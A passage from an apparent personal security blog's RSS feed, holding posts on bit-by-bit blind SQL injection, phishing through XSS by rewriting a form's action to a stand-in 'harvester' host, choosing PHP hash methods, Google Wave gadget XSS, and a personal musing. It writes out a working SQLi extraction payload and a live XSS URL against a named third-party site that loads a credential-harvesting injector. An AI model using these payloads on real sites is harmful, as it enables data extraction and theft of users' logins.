<p>So basicly the IHTeam uses regular expressions to do almost the same thing as the standard method with checking a characters ascii value and then using a binary search for getting the character. The thing I like with this method is that it’s very easy to see what you’ve found so far (take a look at the examples on page 5-6). But the method also got some pretty big disadvantages I think. It’s easy to find a letter or number using binary search on a regex range (a-z, A-Z, 0-9), but it’s not really as easy to find a special character like “!” or some UTF-8 character like “å” since there are no regex ranges for that kind of characters. </p>
<p>Furthermore the amount of requests of used by this method can end up being quite big if the character needed to find is not within the above commented ranges. </p>
<p>Therefore I find the regex method not as relevant for value extracting. But I see another use for it, more clever ways for locating data in a great dataset where a simple “=” or “LIKE” is sufficient.&#160; </p>
<h3>Blind SQLi using binary attributes and an and</h3>
<p>So what I did today is a bit of a development on some of Jelmers stuff and a bit of my own thinking lately. I for some time have been enjoying the use of binary stuff in SQLi, which is also why I like the method Jelmer came up with. But as stated above there are some disadvangtes I would like to avoid. </p>
<p>First of all, the use of “&amp;” in SQLi I think is really been overlooked. Maybe because of the fact that “&amp;” is not allowed directly in querystings since it’s used as the delimiter. Nevertheless it’s still rather handy since it in SQL is used as the binary “AND” operator. The operator like any other AND operator got the property and 1 AND 1 is true and all other combinations are false. Futhermore the “&amp;” operator got the property that it don’t need whitespace characters sourounding it for it function. “&amp;” and be squeezed together like “1&amp;1”. So just by url encode “&amp;” it’s “allowed” in the querystring, so in a page with a blind SQLi “1%261” would return true (“1%260” would of course return false). The use of the binary and I’ll get back to.</p>
<p>Take a look at “bin(ascii('e'))” it’ll return the binary representation of “e” (1100101). Using this feature together with substr you can get the binary representation of each character in fx. user() like so: “bin(ascii(substr(user(),1,1)))”. But there’s still a bit of a problem, this is a blind SQLi so if we do a substr on the binary representation of the character we get: “substr(bin(ascii(substr(user(),1,1))),1,1)” which will return only “1” or “0”. This gives us a attack vector like: “id=1%26substr(bin(ascii(substr(user(),1,1))),1,1)—“ given that “1” is a valid id. I added “—“ at the end just for the sake of it. Now we can cycle through the bits of each character using the outer substr and cycle through the characters using the innner substr. </p>
<p>The vector not care whether the character is a number, letter, special character in ascii or an UTF-8 character. Just like the Jelmer method, but without the hazzel of converting the binary back to decimal before each request. </p>
<p>You should have gotten the idea by now. It’s easy and quick to get each character, if you do more with it let me know. </p>
<p>I know this can be improved, fx. by taking account for the length of each character you can save even more requests since some characters will only require 6 (the low ascii ones) requests while some will require 8 (UTF-8 ones). </p>
<p>Have a great summer, more will come!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2011/07/08/blind-sqli-considerations-and-some-development/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feels like.. ehhmm</title>
		<link>http://www.e-x-e.dk/2010/12/05/feels-like-ehhmm/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=feels-like-ehhmm</link>
		<comments>http://www.e-x-e.dk/2010/12/05/feels-like-ehhmm/#comments</comments>
		<pubDate>Sun, 05 Dec 2010 22:00:00 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Generelt]]></category>
		<category><![CDATA[Tankestorm]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/12/05/feels-like-ehhmm/</guid>
		<description><![CDATA[So I suddenly got into a writing mood? But what should I concentrate on? On the fact that I can’t concentrate enough or that my mind is filled with brilliant thoughts but with too little time to do any of them. I hopefully will have some time to do a lot of these things as [...]]]></description>
			<content:encoded><![CDATA[<p>So I suddenly got into a writing mood? But what should I concentrate on?</p>
<p>On the fact that I can’t concentrate enough or that my mind is filled with brilliant thoughts but with too little time to do any of them. I hopefully will have some time to do a lot of these things as soon as I’m finished with this semester’s project at uni. </p>
<p>My life is filled with wonderful people, absolutely brilliant and lovely people but it seems like that my tend to focus on something specific topic also extends to people. I tends to talk to some people for a while, while “forgetting” other people at the same time. </p>
<p>I seem to again and yet again surprise myself when it comes to my stubbornness regarding problem-solving in my life. But I find that this strength (as I look at it) also is a weakness – a great weakness. When you focus so intensely on a problem you tend to forget the problem you started. You forget that the problem properly can be solved in other and better ways that the one you are trying to do now! </p>
<p>So now, look at your problem, now look at what you are trying to do – and now… think! Can’t this been done in a more intelligent way? Are you doing something you don’t even have to – just for the fun of it. </p>
<p>&#160;</p>
<p>Yes – I know that this post was completely random and really.. It’s fine, because now I’m writing again. I’ll properly soon tell you something about the Danish computer security reality and how a good friend of mine can’t get a job because he’s too smart (H you know it’s you! <img style="border-bottom-style: none; border-left-style: none; border-top-style: none; border-right-style: none" class="wlEmoticon wlEmoticon-winkingsmile" alt="Winking smile" src="http://www.e-x-e.dk/wordpress/wp-content/2010/12/wlEmoticon-winkingsmile.png" />)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/12/05/feels-like-ehhmm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to phish the effective and smart way using XSS</title>
		<link>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-phish-the-effective-and-smart-way-using-xss-3</link>
		<comments>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 18:30:13 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</guid>
		<description><![CDATA[Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to [...]]]></description>
			<content:encoded><![CDATA[<p>Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) <em>(Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself)</em> you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc.&#160; </p>
<p>Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.</p>
<p>Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. </p>
<p>One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.</p>
<p>With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.</p>
<p>It can be done with this 3 step attack:</p>
<p><strong>1. step:</strong> Inject the forms of a XSS exploitable page, e.g. with a script like this: <a href="http://www.e-x-e.dk/labs/autoPhisher/injector.js">http://www.e-x-e.dk/labs/autoPhisher/injector.js</a>. A super simple yet effective script I’ll be using for this PoC.</p>
<p><strong>2. step:</strong> Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/index.php">http://www.e-x-e.dk/labs/autoPhisher/source/index.php</a></p>
<p>This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. </p>
<p>The last part of the script is computing a new pusher-injected URL to which the victim will be sent.</p>
<p><strong>3. step:</strong> Let the pusher to its job</p>
<p>Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. </p>
<p>The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php">http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php</a></p>
<p>Here a place you can test this thing out:</p>
<p><a href="http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E">http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E</a></p>
<p>Example user / password: testerLars / testerLars</p>
<p>Let me know what you think by making some comments and maybe leaving some more usage examples.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Choosing hash method in PHP</title>
		<link>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=choosing-hash-method-in-php</link>
		<comments>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 23:49:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</guid>
		<description><![CDATA[So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method? Speed I [...]]]></description>
			<content:encoded><![CDATA[<p>So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?</p>
<p><b>Speed</b></p>
<p>I started with some benchmarking: <a href="http://e-x-e.dk/labs/timing/">http://e-x-e.dk/labs/timing/</a> (source: <a href="http://www.e-x-e.dk/labs/timing/source.php">http://www.e-x-e.dk/labs/timing/source.php</a>).</p>
<p>This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.</p>
<p><b>Common vs. uncommon method</b></p>
<p>When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (<a href="http://www.freerainbowtables.com/da/tables/md5/">http://www.freerainbowtables.com/da/tables/md5/</a>). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.</p>
<p>Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce. </p>
<p><b>Hash method attacks</b></p>
<p>The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (<a href="http://en.wikipedia.org/wiki/Collision_attack">http://en.wikipedia.org/wiki/Collision_attack</a>) or a preimage attack (<a href="http://en.wikipedia.org/wiki/Preimage_attack">http://en.wikipedia.org/wiki/Preimage_attack</a>). Therefore you should also have this in your considerations when choosing a hashing method for your site.</p>
<p><b>Other things to consider</b></p>
<p>Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.</p>
<p>I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Google Wave (XSS, XSSR)</title>
		<link>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=a-blogpost-about-hacking-google-wave-with-xss-and-xssr</link>
		<comments>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 11:47:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[Google Wave]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</guid>
		<description><![CDATA[The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. [...]]]></description>
			<content:encoded><![CDATA[<p>The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.</p>
<p>One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.</p>
<p>One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.</p>
<p>This is what I’ve been doing the last day or two <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>My Gadget can be viewed and tested at this URL:</p>
<p><a href="http://e-x-e.dk/labs/waveHack/hack1.xml">http://e-x-e.dk/labs/waveHack/hack1.xml</a></p>
<div id="scid:66721397-FF69-4ca6-AEC4-17E6B3208830:35b6e93e-7d55-49bd-a1f0-64bf5ff661ad" class="wlWriterEditableSmartContent" style="margin: 0px; display: inline; float: none; padding: 0px;">
<p>Or you can just watch the screenshots:<br />
<a style="border: 0px;" href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos"><img style="border: 0px;" src="http://www.e-x-e.dk/wordpress/wp-content/2010/01/InlineRepresentationa8cc7e07644f4eec9357123988fa8320.jpg" alt="Vis Google Wave hack" /></a></p>
<div style="width: 400px; text-align: right;"><a href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos">See all screenshots</a></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

